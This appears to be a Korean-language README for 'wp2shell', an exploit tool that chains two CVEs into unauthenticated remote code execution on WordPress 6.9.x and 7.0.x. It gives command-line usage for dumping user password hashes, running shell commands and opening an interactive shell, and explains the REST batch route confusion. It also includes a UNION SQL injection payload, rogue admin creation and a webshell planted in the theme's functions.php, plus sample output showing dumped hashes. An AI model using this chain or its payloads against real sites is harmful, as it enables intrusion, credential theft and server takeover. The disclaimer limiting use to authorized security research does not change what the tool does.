
CVE-2026-63030 / wp2shell
원데이 워드프레스 RCE 익스플로잇 체인. 인증 없음. CVSS 9.8.
제로 의존성 — Python 3.8+ stdlib만 사용.
| 브랜치 | 취약 버전 | 패치 버전 |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | ≥ 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | ≥ 7.0.2 |
두 개의 CVE가 연쇄되어 인증 없는 원격 코드 실행을 달성합니다:
CVE-2026-63030 (경로 혼동) → 배치 디싱크가 인증을 우회함
+
CVE-2026-60137 (SQL 인젝션) → author__not_in이 SQL에 원시로 유입됨
↓
UNION-forge WP_Post 행 → 커스터마이저 변경세트 브리지 → 관리자 생성됨
↓
관리자로 로그인 → 테마 편집기 → 웹쉘 → RCE
# Probe only — non-destructive, confirms vulnerability
python3 exploit.py --url http://target:8080 --check
# Extract admin password hashes from the database
python3 exploit.py --url http://target:8080 --dump-users
# Full chain: SQLi → admin → webshell → command
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"
# Interactive shell (with working directory tracking)
python3 exploit.py --url http://target:8080 --shell
# Read arbitrary data via UNION SQL injection
python3 exploit.py --url http://target:8080 --read "SELECT @@version"
# Skip pre-auth bridge — use known credentials
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami
--url URL 대상 WordPress 기본 URL (필수)
--check 프로브만 — 익스플로잇 하지 않음
--dump-users UNION SQLi를 통해 모든 사용자 자격 증명 추출
--read SQL 데이터베이스에서 스칼라 SQL 표현식 읽기
--cmd CMD 대상에서 셸 명령 실행
--shell 대화형 셸 열기
--user USER 관리자 사용자명 (인증 전 관리자 생성 건너뜀)
--password PASS 관리자 비밀번호 (--user와 함께 사용)
--proxy URL HTTP 프록시 (예: http://127.0.0.1:8080)
--timeout SEC 요청 타임아웃 (기본값: 30)
--no-cleanup 웹쉘과 관리자 사용자를 대상에 남김
WordPress의 배치 엔드포인트 /?rest_route=/batch/v1는 하위 요청 배열을 받습니다. 하위 요청에 구문 분석이 불가능한 경로(///)가 있으면 $validation에는 WP_Error가 추가되지만 $matches에는 추가되지 않습니다. 그런 다음 디스패치 루프는 요청 N을 핸들러 N+1과 짝지어, 한 스키마에 대해 검증된 요청이 다른 핸들러로 디스패치됩니다.
익스플로잇은 3중 중첩 배치를 전송하며, 각 계층은 위치 0에서 디싱크 프라이머를 사용하여 인덱스를 이동시킵니다. 가장 안쪽 요청 — 단일 글 항목(GET /wp/v2/posts/999999)으로 검증됨 — 은 컬렉션 핸들러(posts->get_items())에 도달합니다. 항목 스키마가 author_exclude를 정의하지 않으므로 파라미터는 검증되지 않고 통과됩니다.
get_items()는 author_exclude → author__not_in으로 매핑하여 WP_Query에 전달합니다. author__not_in이 문자열(배열이 아님)인 경우 array_map('absint', …) 블록이 건너뛰어집니다. 원시 문자열이 다음에 직접 도달합니다:
WHERE post_author NOT IN (<payload>)
페이로드 0) UNION ALL SELECT …-- -는 NOT IN 목록을 닫고 임의의 SQL을 추가합니다.
WordPress 7.0.x wp_posts는 정확히 23개의 컬럼을 가집니다. orderby=none(뒤따르는 ORDER BY를 억제) 및 per_page=500(WP_Query를 전체 행 모드로 유지)과 함께 UNION ALL SELECT를 통해 위조된 행을 주입하면, ||HEX|| 마커를 포함한 위조된 글 제목이 REST 응답에 반영됩니다. 모든 문자열 값은 URL 인코딩을 통한 따옴표 이스케이프 문제를 피하기 위해 MySQL 16진수 리터럴(0x…)을 사용합니다.
[embed] 단축 코드를 포함한 글을 UNION 위조 → WordPress가 oembed_cache 행 3개를 생성함wp_posts 행을 UNION 위조[embed] 단축 코드가 렌더링되어 WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user() 트리거wp2_<random>)과 비밀번호(Wp2!<random>)로 관리자 생성됨새 관리자로 로그인 → 테마 편집기 nonce 추출 → 활성 테마의 functions.php 상단에 토큰으로 보호된 PHP 웹쉘 주입 → ?t=<token>&c=<command>로 접근.
urllib, json, re, hashlib, secrets, html)wp_remote_post() 루프백 검사를 수행합니다. 컨테이너가 호스트 이름으로 자체에 도달할 수 없으면 테마 편집이 차단됩니다. 이런 경우 --dump-users + 수동 로그인을 사용하세요.--check로 테스트하세요.$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available
$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
ID=1 login=admin
pass=$wp$2y$10$...
...
이 도구는 승인된 보안 연구 및 교육 목적으로만 사용됩니다. 소유하거나 명시적 테스트 허가를 받은 시스템에 대해서만 사용하십시오. 작성자는 오용에 대한 책임을 지지 않습니다.
| 단계 | CVE | 벡터 |
|---|
| 1 | CVE-2026-63030 | REST /batch/v1 인덱스 정렬 불일치로 검증과 디스패치가 동기화 해제됨 |
| 2 | CVE-2026-60137 | author__not_in WP_Query 파라미터가 문자열로 전달될 때 absint()를 건너뜀 |
| 3 | — | UNION SELECT로 wp_posts 행 위조; oEmbed → 커스터마이저 → wp_insert_user |
| 4 | — | 새로 생성된 관리자로 인증 |
| 5 | — | 테마 편집기가 토큰으로 보호된 웹쉘을 활성 테마에 주입 |